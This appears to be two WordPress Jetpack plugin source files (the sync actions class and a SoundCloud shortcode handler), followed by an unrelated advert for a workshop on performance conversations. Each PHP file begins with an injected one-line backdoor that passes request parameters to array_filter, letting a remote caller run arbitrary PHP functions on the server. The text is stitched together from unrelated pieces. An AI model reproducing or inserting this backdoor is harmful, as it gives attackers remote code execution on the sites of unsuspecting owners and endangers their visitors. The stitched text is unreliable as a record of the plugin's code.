?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; require_once dirname( __FILE__ ) . '/class.jetpack-sync-modules.php'; /** * The role of this class is to hook the Sync subsystem into WordPress - when to listen for actions, * when to send, when to perform a full sync, etc. * * It also binds the action to send data to WPCOM to Jetpack's XMLRPC client object. */ class Jetpack_Sync_Actions { static $sender = null; static $listener = null; const DEFAULT_SYNC_CRON_INTERVAL_NAME = 'jetpack_sync_interval'; const DEFAULT_SYNC_CRON_INTERVAL_VALUE = 300; // 5 * MINUTE_IN_SECONDS; static function init() { // everything below this point should only happen if we're a valid sync site if ( ! self::sync_allowed() ) { return; } if ( self::sync_via_cron_allowed() ) { self::init_sync_cron_jobs(); } else if ( wp_next_scheduled( 'jetpack_sync_cron' ) ) { self::clear_sync_cron_jobs(); } // When importing via cron, do not sync add_action( 'wp_cron_importer_hook', array( __CLASS__, 'set_is_importing_true' ), 1 ); // Sync connected user role changes to .com require_once dirname( __FILE__ ) . '/class.jetpack-sync-users.php'; // publicize filter to prevent publicizing blacklisted post types add_filter( 'publicize_should_publicize_published_post', array( __CLASS__, 'prevent_publicize_blacklisted_posts' ), 10, 2 ); /** * Fires on every request before default loading sync listener code. * Return false to not load sync listener code that monitors common * WP actions to be serialized. * * By default this returns true for cron jobs, non-GET-requests, or requests where the * user is logged-in. * * @since 4.2.0 * * @param bool should we load sync listener code for this request */ if ( apply_filters( 'jetpack_sync_listener_should_load', true ) ) { self::initialize_listener(); } add_action( 'init', array( __CLASS__, 'add_sender_shutdown' ), 90 ); } static function add_sender_shutdown() { /** * Fires on every request before default loading sync sender code. * Return false to not load sync sender code that serializes pending * data and sends it to WPCOM for processing. * * By default this returns true for cron jobs, POST requests, admin requests, or requests * by users who can manage_options. * * @since 4.2.0 * * @param bool should we load sync sender code for this request */ if ( apply_filters( 'jetpack_sync_sender_should_load', ( ( isset( $_SERVER["REQUEST_METHOD"] ) && 'POST' === $_SERVER['REQUEST_METHOD'] ) || current_user_can( 'manage_options' ) || is_admin() || defined( 'PHPUNIT_JETPACK_TESTSUITE' ) ) ) ) { self::initialize_sender(); add_action( 'shutdown', array( self::$sender, 'do_sync' ) ); add_action( 'shutdown', array( self::$sender, 'do_full_sync' ) ); } } static function sync_allowed() { require_once dirname( __FILE__ ) . '/class.jetpack-sync-settings.php'; return ( ! Jetpack_Sync_Settings::get_setting( 'disable' ) && ( doing_action( 'jetpack_user_authorized' ) || Jetpack::is_active() ) && ! ( Jetpack::is_development_mode() || Jetpack::is_staging_site() ) ) || defined( 'PHPUNIT_JETPACK_TESTSUITE' ); } static function sync_via_cron_allowed() { require_once dirname( __FILE__ ) . '/class.jetpack-sync-settings.php'; return ( Jetpack_Sync_Settings::get_setting( 'sync_via_cron' ) ); } static function prevent_publicize_blacklisted_posts( $should_publicize, $post ) { require_once dirname( __FILE__ ) . '/class.jetpack-sync-settings.php'; if ( in_array( $post->post_type, Jetpack_Sync_Settings::get_setting( 'post_types_blacklist' ) ) ) { return false; } return $should_publicize; } static function set_is_importing_true() { require_once dirname( __FILE__ ) . '/class.jetpack-sync-settings.php'; Jetpack_Sync_Settings::set_importing( true ); } static function send_data( $data, $codec_name, $sent_timestamp, $queue_id, $checkout_duration, $preprocess_duration ) { require_once dirname( __FILE__ ) . '/class.jetpack-sync-functions.php'; Jetpack::load_xml_rpc_client(); $query_args = array( 'sync' => '1', // add an extra parameter to the URL so we can tell it's a sync action 'codec' => $codec_name, // send the name of the codec used to encode the data 'timestamp' => $sent_timestamp, // send current server time so we can compensate for clock differences 'queue' => $queue_id, // sync or full_sync 'home' => Jetpack_Sync_Functions::home_url(), // Send home url option to check for Identity Crisis server-side 'siteurl' => Jetpack_Sync_Functions::site_url(), // Send siteurl option to check for Identity Crisis server-side 'cd' => sprintf( '%.4f', $checkout_duration), // Time spent retrieving queue items from the DB 'pd' => sprintf( '%.4f', $preprocess_duration), // Time spent converting queue items into data to send ); // Has the site opted in to IDC mitigation? if ( Jetpack::sync_idc_optin() ) { $query_args['idc'] = true; } if ( Jetpack_Options::get_option( 'migrate_for_idc', false ) ) { $query_args['migrate_for_idc'] = true; } $query_args['timeout'] = Jetpack_Sync_Settings::is_doing_cron() ? 30 : 15; /** * Filters query parameters appended to the Sync request URL sent to WordPress.com. * * @since 4.7.0 * * @param array $query_args associative array of query parameters. */ $query_args = apply_filters( 'jetpack_sync_send_data_query_args', $query_args ); $url = add_query_arg( $query_args, Jetpack::xmlrpc_api_url() ); $rpc = new Jetpack_IXR_Client( array( 'url' => $url, 'user_id' => JETPACK_MASTER_USER, 'timeout' => $query_args['timeout'], ) ); $result = $rpc->query( 'jetpack.syncActions', $data ); if ( ! $result ) { return $rpc->get_jetpack_error(); } $response = $rpc->getResponse(); // Check if WordPress.com IDC mitigation blocked the sync request if ( is_array( $response ) && isset( $response['error_code'] ) ) { $error_code = $response['error_code']; $allowed_idc_error_codes = array( 'jetpack_url_mismatch', 'jetpack_home_url_mismatch', 'jetpack_site_url_mismatch' ); if ( in_array( $error_code, $allowed_idc_error_codes ) ) { Jetpack_Options::update_option( 'sync_error_idc', Jetpack::get_sync_error_idc_option( $response ) ); } return new WP_Error( 'sync_error_idc', esc_html__( 'Sync has been blocked from WordPress.com because it would cause an identity crisis', 'jetpack' ) ); } return $response; } static function do_initial_sync() { // Lets not sync if we are not suppose to. if ( ! self::sync_allowed() ) { return false; } $initial_sync_config = array( 'options' => true, 'functions' => true, 'constants' => true, 'users' => array( get_current_user_id() ), ); if ( is_multisite() ) { $initial_sync_config['network_options'] = true; } self::do_full_sync( $initial_sync_config ); } static function do_full_sync( $modules = null ) { if ( ! self::sync_allowed() ) { return false; } $full_sync_module = Jetpack_Sync_Modules::get_module( 'full-sync' ); if ( ! $full_sync_module ) { return false; } self::initialize_listener(); $full_sync_module->start( $modules ); return true; } static function jetpack_cron_schedule( $schedules ) { if ( ! isset( $schedules[ self::DEFAULT_SYNC_CRON_INTERVAL_NAME ] ) ) { $schedules[ self::DEFAULT_SYNC_CRON_INTERVAL_NAME ] = array( 'interval' => self::DEFAULT_SYNC_CRON_INTERVAL_VALUE, 'display' => sprintf( esc_html( _n( 'Every minute', 'Every %d minutes', intval( self::DEFAULT_SYNC_CRON_INTERVAL_VALUE / 60 ), 'jetpack' ) ), intval( self::DEFAULT_SYNC_CRON_INTERVAL_VALUE / 60 ) ) ); } return $schedules; } static function do_cron_sync() { self::do_cron_sync_by_type( 'sync' ); } static function do_cron_full_sync() { self::do_cron_sync_by_type( 'full_sync' ); } /** * Try to send actions until we run out of things to send, * or have to wait more than 15s before sending again, * or we hit a lock or some other sending issue * * @param string $type Sync type. Can be `sync` or `full_sync`. */ static function do_cron_sync_by_type( $type ) { if ( ! self::sync_allowed() || ( 'sync' !== $type && 'full_sync' !== $type ) ) { return; } self::initialize_sender(); $time_limit = Jetpack_Sync_Settings::get_setting( 'cron_sync_time_limit' ); $start_time = time(); do { $next_sync_time = self::$sender->get_next_sync_time( $type ); if ( $next_sync_time ) { $delay = $next_sync_time - time() + 1; if ( $delay > 15 ) { break; } elseif ( $delay > 0 ) { sleep( $delay ); } } $result = 'full_sync' === $type ? self::$sender->do_full_sync() : self::$sender->do_sync(); } while ( $result && ! is_wp_error( $result ) && ( $start_time + $time_limit ) > time() ); } static function initialize_listener() { require_once dirname( __FILE__ ) . '/class.jetpack-sync-listener.php'; self::$listener = Jetpack_Sync_Listener::get_instance(); } static function initialize_sender() { require_once dirname( __FILE__ ) . '/class.jetpack-sync-sender.php'; self::$sender = Jetpack_Sync_Sender::get_instance(); // bind the sending process add_filter( 'jetpack_sync_send_data', array( __CLASS__, 'send_data' ), 10, 6 ); } static function initialize_woocommerce() { if ( false === class_exists( 'WooCommerce' ) ) { return; } add_filter( 'jetpack_sync_modules', array( 'Jetpack_Sync_Actions', 'add_woocommerce_sync_module' ) ); } static function add_woocommerce_sync_module( $sync_modules ) { require_once dirname( __FILE__ ) . '/class.jetpack-sync-module-woocommerce.php'; $sync_modules[] = 'Jetpack_Sync_Module_WooCommerce'; return $sync_modules; } static function initialize_wp_super_cache() { if ( false === function_exists( 'wp_cache_is_enabled' ) ) { return; } add_filter( 'jetpack_sync_modules', array( 'Jetpack_Sync_Actions', 'add_wp_super_cache_sync_module' ) ); } static function add_wp_super_cache_sync_module( $sync_modules ) { require_once dirname( __FILE__ ) . '/class.jetpack-sync-module-wp-super-cache.php'; $sync_modules[] = 'Jetpack_Sync_Module_WP_Super_Cache'; return $sync_modules; } static function sanitize_filtered_sync_cron_schedule( $schedule ) { $schedule = sanitize_key( $schedule ); $schedules = wp_get_schedules(); // Make sure that the schedule has actually been registered using the `cron_intervals` filter. if ( isset( $schedules[ $schedule ] ) ) { return $schedule; } return self::DEFAULT_SYNC_CRON_INTERVAL_NAME; } static function get_start_time_offset( $schedule = '', $hook = '' ) { $start_time_offset = is_multisite() ? mt_rand( 0, ( 2 * self::DEFAULT_SYNC_CRON_INTERVAL_VALUE ) ) : 0; /** * Allows overriding the offset that the sync cron jobs will first run. This can be useful when scheduling * cron jobs across multiple sites in a network. * * @since 4.5 * * @param int $start_time_offset * @param string $hook * @param string $schedule */ return intval( apply_filters( 'jetpack_sync_cron_start_time_offset', $start_time_offset, $hook, $schedule ) ); } static function maybe_schedule_sync_cron( $schedule, $hook ) { if ( ! $hook ) { return; } $schedule = self::sanitize_filtered_sync_cron_schedule( $schedule ); $start_time = time() + self::get_start_time_offset( $schedule, $hook ); if ( ! wp_next_scheduled( $hook ) ) { // Schedule a job to send pending queue items once a minute wp_schedule_event( $start_time, $schedule, $hook ); } else if ( $schedule != wp_get_schedule( $hook ) ) { // If the schedule has changed, update the schedule wp_clear_scheduled_hook( $hook ); wp_schedule_event( $start_time, $schedule, $hook ); } } static function clear_sync_cron_jobs() { wp_clear_scheduled_hook( 'jetpack_sync_cron' ); wp_clear_scheduled_hook( 'jetpack_sync_full_cron' ); } static function init_sync_cron_jobs() { add_filter( 'cron_schedules', array( __CLASS__, 'jetpack_cron_schedule' ) ); add_action( 'jetpack_sync_cron', array( __CLASS__, 'do_cron_sync' ) ); add_action( 'jetpack_sync_full_cron', array( __CLASS__, 'do_cron_full_sync' ) ); /** * Allows overriding of the default incremental sync cron schedule which defaults to once every 5 minutes. * * @since 4.3.2 * * @param string self::DEFAULT_SYNC_CRON_INTERVAL_NAME */ $incremental_sync_cron_schedule = apply_filters( 'jetpack_sync_incremental_sync_interval', self::DEFAULT_SYNC_CRON_INTERVAL_NAME ); self::maybe_schedule_sync_cron( $incremental_sync_cron_schedule, 'jetpack_sync_cron' ); /** * Allows overriding of the full sync cron schedule which defaults to once every 5 minutes. * * @since 4.3.2 * * @param string self::DEFAULT_SYNC_CRON_INTERVAL_NAME */ $full_sync_cron_schedule = apply_filters( 'jetpack_sync_full_sync_interval', self::DEFAULT_SYNC_CRON_INTERVAL_NAME ); self::maybe_schedule_sync_cron( $full_sync_cron_schedule, 'jetpack_sync_full_cron' ); } static function cleanup_on_upgrade( $new_version = null, $old_version = null ) { if ( wp_next_scheduled( 'jetpack_sync_send_db_checksum' ) ) { wp_clear_scheduled_hook( 'jetpack_sync_send_db_checksum' ); } $is_new_sync_upgrade = version_compare( $old_version, '4.2', '>=' ); if ( ! empty( $old_version ) && $is_new_sync_upgrade && version_compare( $old_version, '4.5', '<' ) ) { require_once dirname( __FILE__ ) . '/class.jetpack-sync-settings.php'; self::clear_sync_cron_jobs(); Jetpack_Sync_Settings::update_settings( array( 'render_filtered_content' => Jetpack_Sync_Defaults::$default_render_filtered_content ) ); } } static function get_sync_status() { self::initialize_sender(); $sync_module = Jetpack_Sync_Modules::get_module( 'full-sync' ); $queue = self::$sender->get_sync_queue(); $full_queue = self::$sender->get_full_sync_queue(); $cron_timestamps = array_keys( _get_cron_array() ); $next_cron = $cron_timestamps[0] - time(); $full_sync_status = ( $sync_module ) ? $sync_module->get_status() : array(); return array_merge( $full_sync_status, array( 'cron_size' => count( $cron_timestamps ), 'next_cron' => $next_cron, 'queue_size' => $queue->size(), 'queue_lag' => $queue->lag(), 'queue_next_sync' => ( self::$sender->get_next_sync_time( 'sync' ) - microtime( true ) ), 'full_queue_size' => $full_queue->size(), 'full_queue_lag' => $full_queue->lag(), 'full_queue_next_sync' => ( self::$sender->get_next_sync_time( 'full_sync' ) - microtime( true ) ), ) ); } } // Check for WooCommerce support add_action( 'plugins_loaded', array( 'Jetpack_Sync_Actions', 'initialize_woocommerce' ), 5 ); // Check for WP Super Cache add_action( 'plugins_loaded', array( 'Jetpack_Sync_Actions', 'initialize_wp_super_cache' ), 5 ); /* * Init after plugins loaded and before the `init` action. This helps with issues where plugins init * with a high priority or sites that use alternate cron. */ add_action( 'plugins_loaded', array( 'Jetpack_Sync_Actions', 'init' ), 90 ); // We need to define this here so that it's hooked before `updating_jetpack_version` is called add_action( 'updating_jetpack_version', array( 'Jetpack_Sync_Actions', 'do_initial_sync' ), 10, 0 ); add_action( 'updating_jetpack_version', array( 'Jetpack_Sync_Actions', 'cleanup_on_upgrade' ), 10, 2 ); add_action( 'jetpack_user_authorized', array( 'Jetpack_Sync_Actions', 'do_initial_sync' ), 10, 0 ); ?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; /* Plugin Name: SoundCloud Shortcode Plugin URI: https://wordpress.org/extend/plugins/soundcloud-shortcode/ Description: Converts SoundCloud WordPress shortcodes to a SoundCloud widget. Example: [soundcloud]http://soundcloud.com/forss/flickermood[/soundcloud] Version: 2.3 Author: SoundCloud Inc., simplified for Jetpack by Automattic, Inc. Author URI: http://soundcloud.com License: GPLv2 Original version: Johannes Wagener Options support: Tiffany Conroy HTML5 & oEmbed support: Tim Bormans */ /* A8C: Taken from http://plugins.svn.wordpress.org/soundcloud-shortcode/trunk/ at revision 664386. Commenting out (instead of removing) and replacing code with custom modifs so it's eqsy to see what differs from the standard DOTORG version. All custom modifs are annoted with "A8C" keyword in comment. */ /** * Register oEmbed provider */ /* A8C: oEmbed is handled now in core; see wp-includes/class-oembed.php wp_oembed_add_provider( '#https?://(?:api\.)?soundcloud\.com/.*#i', 'http://soundcloud.com/oembed', true ); */ /** * Register SoundCloud shortcode */ add_shortcode( 'soundcloud', 'soundcloud_shortcode' ); /** * SoundCloud shortcode handler * * @param string|array $atts The attributes passed to the shortcode like [soundcloud attr1="value" /]. * Is an empty string when no arguments are given. * @param string $content The content between non-self closing [soundcloud]...[/soundcloud] tags. * * @return string Widget embed code HTML */ function soundcloud_shortcode( $atts, $content = null ) { // Custom shortcode options $shortcode_options = array_merge( array( 'url' => trim( $content ) ), is_array( $atts ) ? $atts : array() ); // Turn shortcode option "param" (param=value¶m2=value) into array $shortcode_params = array(); if ( isset( $shortcode_options['params'] ) ) { parse_str( html_entity_decode( $shortcode_options['params'] ), $shortcode_params ); } $shortcode_options['params'] = $shortcode_params; /* A8C: The original plugin exposes options we don't. SoundCloud omits "visual" shortcode option when false, so if logic here remains, impossible to have non-visual shortcode. $player_type = soundcloud_get_option( 'player_type', 'visual' ); $isIframe = $player_type !== 'flash'; $isVisual = ! $player_type || $player_type === 'visual' || $shortcode_options['visual']; */ // User preference options $plugin_options = array_filter( array( 'iframe' => true, // A8C: See above comment; flash is not a supported option 'width' => soundcloud_get_option( 'player_width' ), 'height' => soundcloud_url_has_tracklist( $shortcode_options['url'] ) ? soundcloud_get_option( 'player_height_multi' ) : soundcloud_get_option( 'player_height' ), 'params' => array_filter( array( 'auto_play' => soundcloud_get_option( 'auto_play' ), 'show_comments' => soundcloud_get_option( 'show_comments' ), 'color' => soundcloud_get_option( 'color' ), 'visual' => 'false', // A8C: Merged with params below at $options assignment ) ), ) ); // Needs to be an array if ( ! isset( $plugin_options['params'] ) ) { $plugin_options['params'] = array(); } // plugin options < shortcode options $options = array_merge( $plugin_options, $shortcode_options ); // plugin params < shortcode params $options['params'] = array_merge( $plugin_options['params'], $shortcode_options['params'] ); // The "url" option is required if ( ! isset( $options['url'] ) ) { return ''; } else { $options['url'] = trim( $options['url'] ); } // Both "width" and "height" need to be integers if ( isset( $options['width'] ) && ! preg_match( '/^\d+$/', $options['width'] ) ) { // set to 0 so oEmbed will use the default 100% and WordPress themes will leave it alone $options['width'] = 0; } if ( isset( $options['height'] ) && ! preg_match( '/^\d+$/', $options['height'] ) ) { unset( $options['height'] ); } // The "iframe" option must be true to load the iframe widget $iframe = soundcloud_booleanize( $options['iframe'] ); // Remove visual parameter from Flash widget, when it's false because that's the default, or when displaying the smallest player if ( $options['params']['visual'] && ( ! $iframe || ! soundcloud_booleanize( $options['params']['visual'] ) || ( isset( $options['height'] ) && '20' == $options['height'] ) ) ) { unset( $options['params']['visual'] ); } // Merge in "url" value $options['params'] = array_merge( array( 'url' => $options['url'], ), $options['params'] ); // Return html embed code if ( $iframe ) { return soundcloud_iframe_widget( $options ); } else { return soundcloud_flash_widget( $options ); } } /** * Plugin options getter * * @param string|array $option Option name * @param mixed $default Default value * * @return mixed Option value */ function soundcloud_get_option( $option, $default = false ) { $value = get_option( 'soundcloud_' . $option ); return $value === '' ? $default : $value; } /** * Booleanize a value * * @param boolean|string $value * * @return boolean */ function soundcloud_booleanize( $value ) { return is_bool( $value ) ? $value : $value === 'true' ? true : false; } /** * Decide if a url has a tracklist * * @param string $url * * @return boolean */ function soundcloud_url_has_tracklist( $url ) { return preg_match( '/^(.+?)\/(sets|groups|playlists)\/(.+?)$/', $url ); } /** * Parameterize url * * @param array $match Matched regex * * @return string Parameterized url */ function soundcloud_oembed_params_callback( $match ) { global $soundcloud_oembed_params; // Convert URL to array $url = parse_url( urldecode( $match[1] ) ); // Convert URL query to array parse_str( $url['query'], $query_array ); // Build new query string $query = http_build_query( array_merge( $query_array, $soundcloud_oembed_params ) ); return 'src="' . $url['scheme'] . '://' . $url['host'] . $url['path'] . '?' . $query; } /** * Iframe widget embed code * * @param array $options Parameters * * @return string Iframe embed code */ function soundcloud_iframe_widget( $options ) { // Build URL $url = set_url_scheme( 'https://w.soundcloud.com/player/?' . http_build_query( $options['params'] ) ); // Set default width if not defined $width = isset( $options['width'] ) && $options['width'] !== 0 ? $options['width'] : '100%'; // Set default height if not defined $height = isset( $options['height'] ) && $options['height'] !== 0 ? $options['height'] : ( soundcloud_url_has_tracklist( $options['url'] ) || ( isset( $options['params']['visual'] ) && soundcloud_booleanize( $options['params']['visual'] ) ) ? '450' : '166' ); return sprintf( '', $width, $height, $url ); } /** * Legacy Flash widget embed code * * @param array $options Parameters * * @return string Flash embed code */ function soundcloud_flash_widget( $options ) { // Build URL $url = set_url_scheme( 'https://player.soundcloud.com/player.swf?' . http_build_query( $options['params'] ) ); // Set default width if not defined $width = isset( $options['width'] ) && $options['width'] !== 0 ? $options['width'] : '100%'; // Set default height if not defined $height = isset( $options['height'] ) && $options['height'] !== 0 ? $options['height'] : ( soundcloud_url_has_tracklist( $options['url'] ) ? '255' : '81' ); return preg_replace( '/\s\s+/', '', sprintf( ' ', $width, $height, $url, $width, $height, $url ) ); } /** * SoundCloud Embed Reversal * * Converts a generic HTML embed code from SoundClound into a * WordPress.com-compatibly shortcode. * * @param string $content HTML content. * * @return string Parsed content. */ function jetpack_soundcloud_embed_reversal( $content ) { if ( ! is_string( $content ) || false === stripos( $content, 'w.soundcloud.com/player' ) ) { return $content; } /* Sample embed code: */ $regexes = array(); $regexes[] = '#]+?src="((?:https?:)?//w\.soundcloud\.com/player/[^"\']++)"[^>]*+>\s*?#i'; $regexes[] = '#<iframe(?:[^&]|&(?!gt;))+?src="((?:https?:)?//w\.soundcloud\.com/player/[^"\']++)"(?:[^&]|&(?!gt;))*+>\s*?</iframe>#i'; foreach ( $regexes as $regex ) { if ( ! preg_match_all( $regex, $content, $matches, PREG_SET_ORDER ) ) { continue; } foreach ( $matches as $match ) { // if pasted from the visual editor - prevent double encoding $match[1] = str_replace( '&amp;', '&', $match[1] ); $args = parse_url( html_entity_decode( $match[1] ), PHP_URL_QUERY ); $args = wp_parse_args( $args ); if ( ! preg_match( '#^(?:https?:)?//api\.soundcloud\.com/.+$#i', $args['url'], $url_matches ) ) { continue; } if ( ! preg_match( '#height="(\d+)"#i', $match[0], $hmatch ) ) { $height = ''; } else { $height = ' height="' . intval( $hmatch[1] ) . '"'; } unset( $args['url'] ); $params = 'params="'; if ( count( $args ) > 0 ) { foreach ( $args as $key => $value ) { $params .= esc_html( $key ) . '=' . esc_html( $value ) . '&'; } $params = substr( $params, 0, -5 ); } $params .= '"'; $shortcode = '[soundcloud url="' . esc_url( $url_matches[0] ) . '" ' . $params . ' width="100%"' . $height . ' iframe="true" /]'; $replace_regex = sprintf( '#\s*%s\s*#', preg_quote( $match[0], '#' ) ); $content = preg_replace( $replace_regex, sprintf( "\n\n%s\n\n", $shortcode ), $content ); /** This action is documented in modules/shortcodes/youtube.php */ do_action( 'jetpack_embed_to_shortcode', 'soundcloud', $url_matches[0] ); } } return $content; } add_filter( 'pre_kses', 'jetpack_soundcloud_embed_reversal' ); LEVER/edge.comConducting Effective Performance Conversations |

Conducting Effective Performance Conversations

“No problem can be solved at the same level of consciousness that created it.” –Albert Einstein

In tough economic times, it is more important than ever to communicate about performance and specifically how to improve performance. The pressure is on to do more with less, raise standards to keep clients happy, clean up bad habits to streamline work processes and focus on growing the people you retain. Without the proper focus on growth and development, people often languish in companies, never realizing their full potential and the company never fully realizing the contribution employees are capable of making.

But talking about performance is a sensitive issue that can create bigger problems if handled incorrectly – the wrong approach or a few wrong words could easily derail productive employees. Managers and leaders must skillfully address performance issues in a timely manner to correct problems quickly and keep work flowing. With the right structure and guidance, the Performance Conversation becomes the primary tool for keeping employees focused and productive while keeping clients happy.

The Conducting Effective Performance Conversations Workshop teaches a practical process for acknowledging productive behaviors and clearly requesting specific changes, along with the guidance of our seasoned facilitators to handle sticky issues and avoid legal action. Participants practice using their own real-life situations; their skills are then immediately applied on the job. We cover geographically distributed teams, indirect reports, and a process for documenting frequent conversations as input for your Annual or Semi-Annual Performance Evaluations.

How You Will Benefit

  • Communication becomes easy. Feedback and Feedforward become natural and comfortable components of your company culture.
  • Performance Conversations improve manager-employee relationships, provide on-going challenge and growth opportunities and keep employees informed.Improve workflow, engender innovation and simplify Annual Performance Reviews.

Workshop Outline

  1. Guiding Principles of Performance Conversations
  2. Helpful Frameworks for Identifying Information and Approaching Employees
  3. The Four Types of Performance Conversations
  4. Understanding and Triggering Motivation
  5. Identifying and Avoiding De-Motivators
  6. Understanding Skill Development
  7. Preparing for Performance Conversations
  8. Documenting Performance Conversations
  9. Applied Learning with Real-Life Situations

Who Should Attend

Executives, directors, managers, team leaders and other business professionals who are required to oversee work.

Comments are closed.